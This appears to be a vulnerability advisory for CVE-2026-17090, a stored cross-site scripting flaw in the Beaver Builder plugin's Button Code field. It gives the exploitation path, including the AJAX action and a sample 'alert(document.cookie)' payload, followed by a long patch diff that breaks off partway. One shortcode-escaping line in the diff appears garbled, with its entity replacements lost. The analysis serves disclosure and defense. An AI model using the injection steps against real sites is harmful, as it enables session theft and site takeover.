Published : August 14, 2026

CVE-2026-17090: Beaver Builder Page Builder <= 2.10.2.2 Authenticated (Author+) Stored Cross-Site Scripting via Button Module 'button' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.10.2.2
Patched Version 2.10.3.2
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-17090: Beaver Builder Page Builder versions up to 2.10.2.2 permit authenticated users with Author-level access to inject stored cross-site scripting (XSS) via the Button module’s ‘button’ (Button Code) setting. This Stored XSS vulnerability (CWE-79, CVSS 6.4) executes arbitrary JavaScript when a page containing the malicious module is viewed. Atomic Edge analysis confirms the root cause lies in insufficient sanitization of script code fields for users lacking the unfiltered_html capability, allowing injection of arbitrary web scripts within the page’s layout.

The root cause is insufficient input sanitization and output escaping on JavaScript code fields in the builder’s module settings. The vulnerable code path is in FLBuilderModel::save_node_settings() and related settings-merging methods, which accept client-supplied settings from the front-end. In versions up to 2.10.2.2, the code only removed a single node-level field, ‘bb_js_code’, from the merged settings for users without unfiltered_html (see the old block in class-fl-builder-model.php around line 4694). However, it did not strip JavaScript code fields defined in module forms, such as the Button module’s ‘button’ (Button Code) field. The Button module’s form registers a ‘code’ field with ‘javascript’ as the editor, and this value is rendered into the page’s JavaScript without escaping, allowing a crafted payload to execute. The vulnerability is present in the settings save and preview flows, which merge client-provided settings with stored settings, and in copy, alias, and preview operations.

An attacker with Author-level access (the plugin grants builder access to any role with edit_posts capability) can exploit this by editing a page in the Beaver Builder interface and modifying the Button module’s ‘button’ code field. The attacker submits a crafted POST request to WP AJAX action ‘fl_builder_save_settings’ (or uses the builder’s front-end AJAX endpoints like ‘fl_builder_render_layout’ for preview) with a payload such as `alert(document.cookie)` in the ‘button’ parameter. Because the plugin does not sanitize or escape the JavaScript code field for non-privileged users, the malicious script is stored in the module’s settings. When any user, including an admin, views the injected page, the script executes in the context of the logged-in user, potentially allowing session hijacking or arbitrary actions.

The patch addresses the vulnerability by introducing a new method, FLBuilderModel::strip_client_js_code_overrides(), which removes JavaScript code field values from client-supplied settings for users lacking unfiltered_html. This method is applied in every entry point that accepts node settings: save_node_settings(), copy_row(), copy_col(), merge_settings(), and the preview path. It builds a per-module field plan by inspecting the module’s registered settings form, identifying all top-level and repeater sub-fields that use a ‘code’ type with ‘javascript’ editor, and stripping those fields from incoming client data. For repeater items, it restores stored values to prevent data loss. The patch also adds the ‘renders_shortcodes’ property and shortcode-escaping filters to neutralize any shortcode injection from modules that render third-party content. Before the patch, users without unfiltered_html could inject arbitrary JS; after the patch, those fields are stripped or preserved from stored values, preventing the XSS.

Successful exploitation allows an Author-level attacker to execute arbitrary JavaScript in the context of any user who views the page. This can lead to session hijacking, cookie theft, privilege escalation to Administrator, or full site takeover, as the attacker can perform actions on behalf of the victim or inject malicious content. The vulnerability has a CVSS score of 6.4, reflecting the moderate complexity but high impact, and requires only Author-level authentication, which is common on multi-user WordPress sites.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/beaver-builder-lite-version/classes/class-fl-builder-compatibility.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-compatibility.php
@@ -626,6 +626,10 @@
 	 * @since 1.10.7
 	 */
 	public static function render_module_content_filter( $contents, $module ) {
+		if ( 'box' === $module->slug ) {
+			return $contents;
+		}
+
 		$postdata = FLBuilderModel::get_post_data();
 		if ( isset( $_GET['safemode'] ) && FLBuilderModel::is_builder_active() || ( isset( $postdata['safemode'] ) && 'true' === $postdata['safemode'] ) ) {
 			return sprintf( '<h3>[%1$s] %2$s %3$s</h3>', __( 'SAFEMODE', 'fl-builder' ), $module->name, __( 'module', 'fl-builder' ) );
--- a/beaver-builder-lite-version/classes/class-fl-builder-debug.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-debug.php
@@ -457,7 +457,7 @@
 		);
 		self::register( 'bb', $args );

-		$info = get_option( '_fl_builder_update_info', array() );
+		$info = get_site_option( '_fl_builder_update_info', array() );
 		$from = '';
 		if ( isset( $info['from'] ) && ! empty( $info['from'] ) ) {
 			$from = ' - Previous ' . $info['from'];
--- a/beaver-builder-lite-version/classes/class-fl-builder-loader.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-loader.php
@@ -48,7 +48,7 @@
 		 * @return void
 		 */
 		static private function define_constants() {
-			define( 'FL_BUILDER_VERSION', '2.10.2.2' );
+			define( 'FL_BUILDER_VERSION', '2.10.3.2' );
 			define( 'FL_BUILDER_FILE', trailingslashit( dirname( __DIR__, 1 ) ) . 'fl-builder.php' );
 			define( 'FL_BUILDER_DIR', plugin_dir_path( FL_BUILDER_FILE ) );
 			define( 'FL_BUILDER_URL', esc_url( plugins_url( '/', FL_BUILDER_FILE ) ) );
--- a/beaver-builder-lite-version/classes/class-fl-builder-loop.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-loop.php
@@ -636,8 +636,14 @@
 		$has_archive = is_string( $args->has_archive ) ? $args->has_archive : false;
 		$is_single   = false;

+		// Build the full page path for multi-segment archive slug comparison
+		$full_page_path = $custom_paged['current_page'];
+		if ( ! empty( $custom_paged['parent_page'] ) ) {
+			$full_page_path = $custom_paged['parent_page'] . '/' . $custom_paged['current_page'];
+		}
+
 		// Check if it's a CPT archive or CPT single.
-		if ( $custom_paged['current_page'] != $post_type && $has_archive != $custom_paged['current_page'] ) {
+		if ( $custom_paged['current_page'] != $post_type && $has_archive != $custom_paged['current_page'] && $has_archive != $full_page_path ) {

 			// Is a child post of the current post type?
 			$post_object = get_page_by_path( $custom_paged['current_page'], OBJECT, $post_type );
@@ -651,7 +657,7 @@

 		$slug = $args->rewrite['slug'];

-		if ( is_string( $args->has_archive ) ) {
+		if ( is_string( $args->has_archive ) && ! $is_single ) {
 			$slug = $args->has_archive;
 		}

@@ -828,8 +834,13 @@

 		if ( is_array( $wp_the_query->query ) ) {
 			foreach ( $wp_the_query->query as $key => $value ) {
-				if ( strpos( $key, 'flpaged' ) === 0 && is_page() && get_option( 'page_on_front' ) ) {
-					return false;
+				if ( strpos( $key, 'flpaged' ) === 0 ) {
+					if ( is_page() && get_option( 'page_on_front' ) ) {
+						return false;
+					}
+					if ( is_post_type_archive() || is_archive() || is_home() ) {
+						return false;
+					}
 				}
 			}

--- a/beaver-builder-lite-version/classes/class-fl-builder-model.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-model.php
@@ -1628,12 +1628,29 @@
 			}
 		}

+		$is_preview = $node_preview_id && $node_preview_id == $node->node;
+
+		// Node preview is only ever sent by the builder's own live preview
+		// request (action `render_layout`), which already requires a
+		// logged in user with edit_post capability on the target post
+		// before reaching this point (see FLBuilderAJAX::call_action()).
+		// Re-check the same guarantee here so any other caller that
+		// resolves node settings (e.g. a module's own front-end ajax
+		// action) can't honor an attacker-supplied node_preview override.
+		if ( $is_preview && ( ! is_user_logged_in() || ! current_user_can( 'edit_post', self::get_post_id() ) ) ) {
+			$is_preview = false;
+		}
+
 		// Get either the preview settings or saved node settings merged with the defaults.
-		if ( $node_preview_id && $node_preview_id == $node->node ) {
+		if ( $is_preview ) {

 			if ( ! isset( $post_data['node_preview_processed_settings'] ) ) {
 				$settings = $post_data['node_preview'];

+				// Preview settings are client-supplied and rendered as-is, so
+				// gate JS code fields the same way the save path does.
+				$settings = (array) self::strip_client_js_code_overrides( (object) $settings, isset( $node->settings->type ) ? $node->settings->type : '', $node->settings );
+
 				if ( isset( $settings['dynamic_node_settings'] ) ) {
 					$settings = FLBuilderDynamicGlobal::merge_settings_for_save( $node, (object) $settings );
 				}
@@ -2232,8 +2249,10 @@
 		// Apply settings that were passed if we have them.
 		if ( $settings && $settings_id ) {
 			if ( $settings_id === $row->node ) {
+				$settings                             = self::strip_client_js_code_overrides( (object) $settings, isset( $row->settings->type ) ? $row->settings->type : '', $row->settings );
 				$layout_data[ $new_row_id ]->settings = (object) array_merge( (array) $row->settings, (array) $settings );
 			} elseif ( isset( $new_nodes[ $settings_id ] ) ) {
+				$settings                            = self::strip_client_js_code_overrides( (object) $settings, isset( $new_nodes[ $settings_id ]->settings->type ) ? $new_nodes[ $settings_id ]->settings->type : '', $new_nodes[ $settings_id ]->settings );
 				$new_nodes[ $settings_id ]->settings = (object) array_merge( (array) $new_nodes[ $settings_id ]->settings, (array) $settings );
 			}
 		}
@@ -3132,8 +3151,10 @@
 		// Apply settings that were passed if we have them.
 		if ( $settings && $settings_id ) {
 			if ( $settings_id === $col->node ) {
+				$settings                             = self::strip_client_js_code_overrides( (object) $settings, isset( $col->settings->type ) ? $col->settings->type : '', $col->settings );
 				$layout_data[ $new_col_id ]->settings = (object) array_merge( (array) $col->settings, (array) $settings );
 			} elseif ( isset( $new_nodes[ $settings_id ] ) ) {
+				$settings                            = self::strip_client_js_code_overrides( (object) $settings, isset( $new_nodes[ $settings_id ]->settings->type ) ? $new_nodes[ $settings_id ]->settings->type : '', $new_nodes[ $settings_id ]->settings );
 				$new_nodes[ $settings_id ]->settings = (object) array_merge( (array) $new_nodes[ $settings_id ]->settings, (array) $settings );
 			}
 		}
@@ -3414,7 +3435,8 @@

 		// Merge form settings passed from the frontend
 		if ( $form_settings ) {
-			$settings = (object) array_merge( (array) $settings, $form_settings );
+			$form_settings = (array) self::strip_client_js_code_overrides( (object) $form_settings, isset( $settings->type ) ? $settings->type : '', $settings );
+			$settings      = (object) array_merge( (array) $settings, $form_settings );
 		}

 		// Merge alias settings
@@ -4129,6 +4151,7 @@
 		if ( ! $module ) {
 			return false;
 		} elseif ( $settings ) {
+			$settings         = self::strip_client_js_code_overrides( (object) $settings, isset( $module->settings->type ) ? $module->settings->type : '', $module->settings );
 			$module->settings = (object) array_merge( (array) $module->settings, (array) $settings );
 		}

@@ -4649,6 +4672,229 @@
 	}

 	/**
+	 * JS code field plan per module type: which top-level fields and which
+	 * repeater sub-fields carry a JavaScript code editor. Memoized so the copy
+	 * hot path does not re-walk settings forms for every node.
+	 *
+	 * @var array
+	 */
+	static private $js_code_field_plan = array();
+
+	/**
+	 * Node-level JavaScript code fields that apply to any node type.
+	 *
+	 * These are only added to the settings form for privileged users
+	 * (FLBuilderNodeCodeSettings::filter_settings_fields), so the form walk
+	 * below cannot discover them for the users who need gating. They are
+	 * stripped by name instead.
+	 *
+	 * @var array
+	 */
+	static private $node_js_code_fields = array( 'bb_js_code' );
+
+	/**
+	 * Removes JavaScript code field values from a client-supplied settings
+	 * object for users who lack the unfiltered_html capability.
+	 *
+	 * Code fields with a JavaScript editor are echoed raw into the generated
+	 * layout JS, so an unprivileged user who can set one can inject arbitrary
+	 * script. This strips those keys from the incoming client settings before
+	 * they are merged, at every entry point that accepts node settings (save,
+	 * copy, alias, preview), so the stored/source value is kept instead.
+	 *
+	 * Node-level code fields are stripped for every node type, rows and
+	 * columns included. Module form fields are stripped from the module's
+	 * registered form, one level into form repeaters.
+	 *
+	 * Top-level keys are removed outright so the merge that follows keeps the
+	 * stored value. Repeater sub-fields cannot rely on that: the merge replaces
+	 * the whole repeater key with the client array, so the stored per-item
+	 * value is written back onto each item instead, matched by item key. Items
+	 * with no stored counterpart (newly added ones) have the field removed.
+	 *
+	 * Privileged users are unaffected. Forms without JS code fields are
+	 * returned unchanged. The incoming object is never mutated.
+	 *
+	 * @since 2.10.2.4
+	 * @param object $settings  The incoming client settings object.
+	 * @param string $node_type The type of the node being written (module type).
+	 * @param object $stored    The settings the client settings will be merged
+	 *                          into, used to restore repeater sub-field values.
+	 * @return object The settings object with disallowed JS code fields removed.
+	 */
+	static public function strip_client_js_code_overrides( $settings, $node_type, $stored = null ) {
+		if ( FLBuilderModel::user_has_unfiltered_html() ) {
+			return $settings;
+		}
+		if ( ! is_object( $settings ) ) {
+			return $settings;
+		}
+
+		$settings = clone $settings;
+
+		foreach ( self::$node_js_code_fields as $name ) {
+			unset( $settings->$name );
+		}
+
+		if ( empty( $node_type ) || ! isset( self::$modules[ $node_type ] ) ) {
+			return $settings;
+		}
+
+		$plan = self::get_js_code_field_plan( $node_type );
+
+		foreach ( $plan['top'] as $name ) {
+			unset( $settings->$name );
+		}
+		foreach ( $plan['repeaters'] as $name => $sub_names ) {
+			if ( isset( $settings->$name ) ) {
+				$stored_items    = self::get_container_value( $stored, $name );
+				$settings->$name = self::strip_js_fields_from_items( $settings->$name, $sub_names, $stored_items );
+			}
+		}
+
+		return $settings;
+	}
+
+	/**
+	 * Builds (and memoizes) the JS code field plan for a module type.
+	 *
+	 * @param string $node_type The module type.
+	 * @return array The plan: 'top' field names and 'repeaters' sub-field names.
+	 */
+	static private function get_js_code_field_plan( $node_type ) {
+		if ( isset( self::$js_code_field_plan[ $node_type ] ) ) {
+			return self::$js_code_field_plan[ $node_type ];
+		}
+
+		$plan = array(
+			'top'       => array(),
+			'repeaters' => array(),
+		);
+
+		foreach ( self::get_settings_form_fields( $node_type, 'module' ) as $name => $field ) {
+			if ( self::is_js_code_field( $field ) ) {
+				$plan['top'][] = $name;
+			} elseif ( isset( $field['type'], $field['form'] ) && 'form' === $field['type'] ) {
+				$sub_names = self::get_js_code_field_names( $field['form'] );
+				if ( ! empty( $sub_names ) ) {
+					$plan['repeaters'][ $name ] = $sub_names;
+				}
+			}
+		}
+
+		self::$js_code_field_plan[ $node_type ] = $plan;
+		return $plan;
+	}
+
+	/**
+	 * Returns the names of JavaScript code fields in a registered settings form.
+	 *
+	 * @param string $form The registered form id.
+	 * @return array The JS code field names.
+	 */
+	static private function get_js_code_field_names( $form ) {
+		$names = array();
+		foreach ( self::get_settings_form_fields( $form, 'general' ) as $sub_name => $sub_field ) {
+			if ( self::is_js_code_field( $sub_field ) ) {
+				$names[] = $sub_name;
+			}
+		}
+		return $names;
+	}
+
+	/**
+	 * Replaces the given field names on every item of a client repeater value
+	 * with the value stored on the matching item, removing the field when there
+	 * is nothing stored to restore.
+	 *
+	 * Handles both array- and object-shaped containers and items: the AJAX
+	 * decode path (json_decode( ..., true )) yields associative arrays, while
+	 * some payloads and internal callers pass objects. Neither the incoming
+	 * value nor the stored value is mutated.
+	 *
+	 * @param array|object $items        The client repeater value.
+	 * @param array        $field_names  Field names to restore or remove.
+	 * @param array|object $stored_items The stored repeater value, if any.
+	 * @return array|object The repeater value with the fields gated.
+	 */
+	static private function strip_js_fields_from_items( $items, $field_names, $stored_items = null ) {
+		if ( ! is_array( $items ) && ! is_object( $items ) ) {
+			return $items;
+		}
+		$items = is_object( $items ) ? clone $items : $items;
+
+		foreach ( $items as $key => $item ) {
+			$stored_item = self::get_container_value( $stored_items, $key );
+			$item        = is_object( $item ) ? clone $item : $item;
+
+			foreach ( $field_names as $field_name ) {
+				$item = self::set_container_value( $item, $field_name, self::get_container_value( $stored_item, $field_name ) );
+			}
+
+			if ( is_array( $items ) ) {
+				$items[ $key ] = $item;
+			} else {
+				$items->$key = $item;
+			}
+		}
+		return $items;
+	}
+
+	/**
+	 * Reads a key from an array- or object-shaped container.
+	 *
+	 * @param array|object $container The container to read from.
+	 * @param string|int   $key       The key to read.
+	 * @return mixed The value, or null when the container or key is absent.
+	 */
+	static private function get_container_value( $container, $key ) {
+		if ( is_array( $container ) ) {
+			return array_key_exists( $key, $container ) ? $container[ $key ] : null;
+		}
+		if ( is_object( $container ) ) {
+			return isset( $container->$key ) ? $container->$key : null;
+		}
+		return null;
+	}
+
+	/**
+	 * Writes a key on an array- or object-shaped container, removing the key
+	 * instead when the value is null.
+	 *
+	 * @param array|object $container The container to write to.
+	 * @param string|int   $key       The key to write.
+	 * @param mixed        $value     The value, or null to remove the key.
+	 * @return array|object The updated container.
+	 */
+	static private function set_container_value( $container, $key, $value ) {
+		if ( is_array( $container ) ) {
+			if ( null === $value ) {
+				unset( $container[ $key ] );
+			} else {
+				$container[ $key ] = $value;
+			}
+		} elseif ( is_object( $container ) ) {
+			if ( null === $value ) {
+				unset( $container->$key );
+			} else {
+				$container->$key = $value;
+			}
+		}
+		return $container;
+	}
+
+	/**
+	 * Whether a settings form field is a code field using the JavaScript editor.
+	 *
+	 * @since 2.10.2.4
+	 * @param array $field A settings form field definition.
+	 * @return bool
+	 */
+	static private function is_js_code_field( $field ) {
+		return isset( $field['type'], $field['editor'] ) && 'code' === $field['type'] && 'javascript' === $field['editor'];
+	}
+
+	/**
 	 * Save the settings for a node.
 	 *
 	 * @since 1.0
@@ -4678,6 +4924,10 @@
 			);
 		}

+		// Prevent users without unfiltered_html from introducing raw JS via
+		// code fields (e.g. the Button module's Button Code setting).
+		$settings = self::strip_client_js_code_overrides( $settings, isset( $node->settings->type ) ? $node->settings->type : '', $node->settings );
+
 		// Merge the new settings.
 		if ( $is_dynamic_global ) {
 			$new_settings = FLBuilderDynamicGlobal::merge_settings_for_save( $node, $settings );
@@ -4691,12 +4941,10 @@
 			$new_settings->dynamic_fields = (object) $new_settings->dynamic_fields;
 		}

-		/**
-		 * Remove any js setting for users with no unfiltered role
-		 */
-		if ( ! FLBuilderModel::user_has_unfiltered_html() ) {
-			unset( $new_settings->bb_js_code );
-		}
+		// bb_js_code is gated by strip_client_js_code_overrides() above, which
+		// drops it from the incoming client settings rather than from the merged
+		// object, so an existing admin-authored value survives an edit by a
+		// lower-privileged user.

 		// Save the settings to the node.
 		$data                       = self::get_layout_data();
--- a/beaver-builder-lite-version/classes/class-fl-builder-module-blocks.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-module-blocks.php
@@ -63,6 +63,16 @@
 	}

 	/**
+	 * Check if we are in the Widgets editor.
+	 *
+	 * @return bool
+	 */
+	static public function is_widgets_editor() {
+		global $pagenow;
+		return 'widgets.php' === $pagenow;
+	}
+
+	/**
 	 * Checks if module blocks should load.
 	 *
 	 * @return bool
@@ -70,6 +80,11 @@
 	static public function should_load() {
 		global $wp_version;

+		// Module blocks are not supported in Widgets editor
+		if ( self::is_widgets_editor() ) {
+			return false;
+		}
+
 		$enabled = self::get_enabled_block_editor_modules();

 		if ( empty( $enabled ) ) {
--- a/beaver-builder-lite-version/classes/class-fl-builder-module.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-module.php
@@ -115,6 +115,17 @@
 	public $partial_refresh = false;

 	/**
+	 * Whether shortcodes in this module's rendered output should be processed
+	 * by the layout's do_shortcode pass. Modules that render third-party content
+	 * (widgets, blocks) can echo untrusted user data and set this to false so
+	 * that data cannot inject shortcodes.
+	 *
+	 * @since 2.10.2.4
+	 * @var boolean $renders_shortcodes
+	 */
+	public $renders_shortcodes = true;
+
+	/**
 	 * The module settings object.
 	 *
 	 * @since 1.0
@@ -252,20 +263,21 @@
 	 * @since 1.0
 	 */
 	public function __construct( $params ) {
-		$class_info            = new ReflectionClass( $this );
-		$class_path            = $class_info->getFileName();
-		$dir_path              = dirname( $class_path );
-		$this->slug            = isset( $params['slug'] ) ? $params['slug'] : basename( $class_path, '.php' );
-		$this->enabled         = isset( $params['enabled'] ) ? $params['enabled'] : true;
-		$this->editor_export   = isset( $params['editor_export'] ) ? $params['editor_export'] : true;
-		$this->partial_refresh = isset( $params['partial_refresh'] ) ? $params['partial_refresh'] : false;
-		$this->include_wrapper = isset( $params['include_wrapper'] ) ? $params['include_wrapper'] : true;
-		$this->element_setting = isset( $params['element_setting'] ) ? $params['element_setting'] : true;
-		$this->accepts         = isset( $params['accepts'] ) ? $params['accepts'] : [];
-		$this->parents         = isset( $params['parents'] ) ? $params['parents'] : 'all';
-		$this->template        = isset( $params['template'] ) ? $params['template'] : [];
-		$this->block_editor    = isset( $params['block_editor'] ) ? $params['block_editor'] : false;
-		$this->auto_style      = isset( $params['auto_style'] ) ? $params['auto_style'] : false;
+		$class_info               = new ReflectionClass( $this );
+		$class_path               = $class_info->getFileName();
+		$dir_path                 = dirname( $class_path );
+		$this->slug               = isset( $params['slug'] ) ? $params['slug'] : basename( $class_path, '.php' );
+		$this->enabled            = isset( $params['enabled'] ) ? $params['enabled'] : true;
+		$this->editor_export      = isset( $params['editor_export'] ) ? $params['editor_export'] : true;
+		$this->partial_refresh    = isset( $params['partial_refresh'] ) ? $params['partial_refresh'] : false;
+		$this->renders_shortcodes = isset( $params['renders_shortcodes'] ) ? $params['renders_shortcodes'] : true;
+		$this->include_wrapper    = isset( $params['include_wrapper'] ) ? $params['include_wrapper'] : true;
+		$this->element_setting    = isset( $params['element_setting'] ) ? $params['element_setting'] : true;
+		$this->accepts            = isset( $params['accepts'] ) ? $params['accepts'] : [];
+		$this->parents            = isset( $params['parents'] ) ? $params['parents'] : 'all';
+		$this->template           = isset( $params['template'] ) ? $params['template'] : [];
+		$this->block_editor       = isset( $params['block_editor'] ) ? $params['block_editor'] : false;
+		$this->auto_style         = isset( $params['auto_style'] ) ? $params['auto_style'] : false;

 		// We need to normalize the paths here since path comparisons
 		// break on Windows because they use backslashes.
--- a/beaver-builder-lite-version/classes/class-fl-builder-photo.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-photo.php
@@ -50,7 +50,21 @@
 	 * @return object
 	 */
 	static public function get_attachment_data( $id ) {
-		$data = wp_prepare_attachment_for_js( $id );
+		$attachment = get_post( $id );
+
+		// wp_prepare_attachment_for_js() checks current_user_can('read_post', $post_parent)
+		// which triggers a PHP notice if the parent's post type is not registered (e.g. after
+		// a plugin that registered the post type has been deactivated). Clear the parent
+		// temporarily to avoid this.
+		if ( $attachment && $attachment->post_parent ) {
+			$parent = get_post( $attachment->post_parent );
+			if ( $parent && ! get_post_type_object( $parent->post_type ) ) {
+				$attachment              = clone $attachment;
+				$attachment->post_parent = 0;
+			}
+		}
+
+		$data = wp_prepare_attachment_for_js( $attachment ? $attachment : $id );

 		if ( gettype( $data ) == 'array' ) {
 			return json_decode( json_encode( $data ) );
--- a/beaver-builder-lite-version/classes/class-fl-builder-ui-settings-forms.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder-ui-settings-forms.php
@@ -383,6 +383,7 @@
 				'tabs'    => $module->form,
 				'assets'  => array(
 					'css'   => $css,
+					'cssurl' => $css_file_uri,
 					'js'    => $js,
 					'jsurl' => $js_file_uri,
 				),
@@ -994,6 +995,10 @@
 	 */
 	static public function render_settings_field( $name, $field, $settings = null, $data = null ) {

+		// Normalize $settings to an object before the filter so third-party callbacks
+		// using property_exists()/->prop don't fatal on PHP 8+ when $settings is null.
+		$settings = ! $settings ? new stdClass() : $settings;
+
 		/**
 		 * Use this filter to modify the config array for a field before it is rendered.
 		 * @see fl_builder_render_settings_field
@@ -1009,7 +1014,6 @@
 		$i                 = null;
 		$is_multiple       = isset( $field['multiple'] ) && true === (bool) $field['multiple'];
 		$supports_multiple = 'editor' != $field['type'] && 'service' != $field['type'];
-		$settings          = ! $settings ? new stdClass() : $settings;
 		$preview           = isset( $field['preview'] ) ? json_encode( $field['preview'] ) : json_encode( array(
 			'type' => 'refresh',
 		) );
--- a/beaver-builder-lite-version/classes/class-fl-builder.php
+++ b/beaver-builder-lite-version/classes/class-fl-builder.php
@@ -105,6 +105,8 @@
 		add_filter( 'wp_handle_upload_prefilter', __CLASS__ . '::wp_handle_upload_prefilter_filter' );
 		add_filter( 'wp_link_query_args', __CLASS__ . '::wp_link_query_args_filter' );
 		add_filter( 'fl_builder_load_modules_paths', __CLASS__ . '::load_module_paths', 9999 );
+		add_filter( 'fl_builder_render_module_content', __CLASS__ . '::escape_foreign_module_shortcodes', 10, 2 );
+		add_filter( 'fl_builder_render_module_html_content', __CLASS__ . '::escape_foreign_module_html_shortcodes', 10, 4 );
 	}

 	/**
@@ -2106,6 +2108,67 @@
 	}

 	/**
+	 * Entity-encodes the brackets of any registered shortcode found in a string
+	 * so the layout's do_shortcode passes cannot execute it.
+	 *
+	 * Modules that render third-party content (widgets, blocks) can echo
+	 * untrusted user data — a comment author name, for example — that happens to
+	 * contain shortcode syntax. Because BB runs do_shortcode over the assembled
+	 * layout, that syntax would otherwise execute. Encoding only the brackets of
+	 * matches against the registered-shortcode regex neutralizes them while
+	 * leaving unrelated brackets (inline JS, JSON) untouched, and renders the
+	 * text literally, exactly as it appears outside a builder layout.
+	 *
+	 * @since 2.10.2.4
+	 * @param string $content The rendered module output to sanitize.
+	 * @return string
+	 */
+	static public function escape_foreign_shortcodes( $content ) {
+		if ( '' === $content || false === strpos( $content, '[' ) ) {
+			return $content;
+		}
+		return preg_replace_callback(
+			'/' . get_shortcode_regex() . '/s',
+			function ( $matches ) {
+				return str_replace( array( '[', ']' ), array( '[', ']' ), $matches[0] );
+			},
+			$content
+		);
+	}
+
+	/**
+	 * Neutralizes shortcodes in a module's rendered output when the module does
+	 * not own its content (renders_shortcodes = false). Hooked to both module
+	 * content filters so it covers the live-page and AJAX render paths.
+	 *
+	 * @since 2.10.2.4
+	 * @param string $content The rendered module HTML.
+	 * @param object $module  The module instance (last arg on both filters).
+	 * @return string
+	 */
+	static public function escape_foreign_module_shortcodes( $content, $module ) {
+		if ( isset( $module->renders_shortcodes ) && ! $module->renders_shortcodes ) {
+			$content = self::escape_foreign_shortcodes( $content );
+		}
+		return $content;
+	}
+
+	/**
+	 * Filter adapter for fl_builder_render_module_html_content, whose $module
+	 * argument is fourth rather than second.
+	 *
+	 * @since 2.10.2.4
+	 * @param string $content The rendered module HTML.
+	 * @param string $type    The module type.
+	 * @param object $settings The module settings.
+	 * @param object $module  The module instance.
+	 * @return string
+	 */
+	static public function escape_foreign_module_html_shortcodes( $content, $type, $settings, $module ) {
+		return self::escape_foreign_module_shortcodes( $content, $module );
+	}
+
+	/**
 	 * Renders the CSS classes for the main content div tag.
 	 *
 	 * @since 1.6.4
@@ -3825,8 +3888,8 @@
 					$selector_suffix = ' > .fl-module-content';
 				}

-				// Extra specificity for top-level modules
-				if ( ! $node->parent ) {
+				// Extra specificity for top-level modules (not applicable for standalone module blocks)
+				if ( ! $node->parent && empty( $node->is_block ) ) {
 					$selector_prefix = '.fl-builder-content > ' . $selector_prefix;
 				}
 				break;
@@ -4019,8 +4082,8 @@
 				$selector = '.fl-node-' . $module->node . '.fl-module-' . $module->settings->type;
 			}

-			// Extra specificity for top-level modules
-			if ( ! $module->parent ) {
+			// Extra specificity for top-level modules (not applicable for standalone module blocks)
+			if ( ! $module->parent && empty( $module->is_block ) ) {
 				$selector = '.fl-builder-content > ' . $selector;
 			}

--- a/beaver-builder-lite-version/classes/services/class-fl-builder-service-convertkit.php
+++ b/beaver-builder-lite-version/classes/services/class-fl-builder-service-convertkit.php
@@ -201,7 +201,7 @@
 	 *      @type bool|string $error The error message or false if no error.
 	 * }
 	 */
-	public function subscribe( $settings, $email, $name, $custom_fields ) {
+	public function subscribe( $settings, $email, $name, $custom_fields = array() ) {
 		$account_data = $this->get_account_data( $settings->service_account );
 		$response     = array(
 			'error' => false,
--- a/beaver-builder-lite-version/extensions/fl-builder-dynamic-global/classes/class-fl-builder-dynamic-global.php
+++ b/beaver-builder-lite-version/extensions/fl-builder-dynamic-global/classes/class-fl-builder-dynamic-global.php
@@ -1475,7 +1475,22 @@
 		}

 		if ( isset( $orig_node_settings->connections ) ) {
-			$new_settings->connections = $orig_node_settings->connections;
+			// Per-key merge so non-customizable connections stay sourced from the
+			// template — the instance carries a snapshot of them from edit time
+			// and a wholesale replace would freeze it after the template changes.
+			// Instance wins only for keys whose root field is customizable.
+			$template_connections      = isset( $new_settings->connections ) ? (array) $new_settings->connections : [];
+			$instance_connections      = (array) $orig_node_settings->connections;
+			$merged_connections        = $template_connections;
+			foreach ( $instance_connections as $conn_key => $conn_value ) {
+				$root_field = strstr( (string) $conn_key, '.' ) ? strstr( (string) $conn_key, '.', true ) : $conn_key;
+				if ( in_array( $root_field, $merged_dynamic_fields, true ) ) {
+					$merged_connections[ $conn_key ] = $conn_value;
+				}
+			}
+			if ( ! empty( $merged_connections ) ) {
+				$new_settings->connections = $merged_connections;
+			}
 		}

 		$new_settings->dynamic_node_settings = $orig_node_settings->dynamic_node_settings;
@@ -1647,6 +1662,8 @@
 		$template_root_node  = null;
 		$template_post_title = '';
 		$template_post_id    = FLBuilderModel::is_node_global( $node );
+		$modules = [];
+
 		if ( $template_post_id ) {
 			$template_post       = get_post( $template_post_id );
 			$template_post_title = isset( $template_post->post_title ) ? $template_post->post_title : '';
@@ -1662,11 +1679,19 @@
 			}

 			$root_node_settings[ $node->node ] = $root_settings;
+			// phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
+			if ( 'module' === $node->type && ! empty( $node->moduleType ) ) {
+				// phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase
+				$modules[ $node->node ] = $node->moduleType;
+			}
 		}

 		$categorized_nodes = FLBuilderModel::get_categorized_child_nodes( $template_root_node );
 		foreach ( $categorized_nodes as $cat_key => $cat ) {
 			foreach ( $cat as $node_key => $node_item ) {
+				if ( isset( $node_item->type ) && 'module' === $node_item->type ) {
+					$modules[ $node_item->node ] = $node_item->slug;
+				}
 				if ( empty( $node_item->settings->dynamic_fields->fields ) ) {
 					continue;
 				}
@@ -1684,6 +1709,7 @@
 			'title'            => $template_post_title,
 			'root'             => $root_node_settings,
 			'child'            => $child_settings,
+			'modules'          => $modules,
 		];
 	}

@@ -1722,6 +1748,15 @@
 		}

 		$categorized_nodes = FLBuilderModel::get_categorized_child_nodes( $node );
+		$cat_modules       = $categorized_nodes['modules'] ?? [];
+		$ref_modules       = [];
+		$modules           = [];
+		foreach ( $cat_modules as $mod_key => $mod ) {
+			if ( isset( $mod->slug ) ) {
+				$parts = explode( '__', $mod_key );
+				$ref_modules[ $parts[0] ] = $mod->slug;
+			}
+		}

 		$child_obj      = $dynamic_node_settings->child;
 		$child_settings = [];
@@ -1729,6 +1764,10 @@
 			if ( ! is_object( $child_node ) ) {
 				continue;
 			}
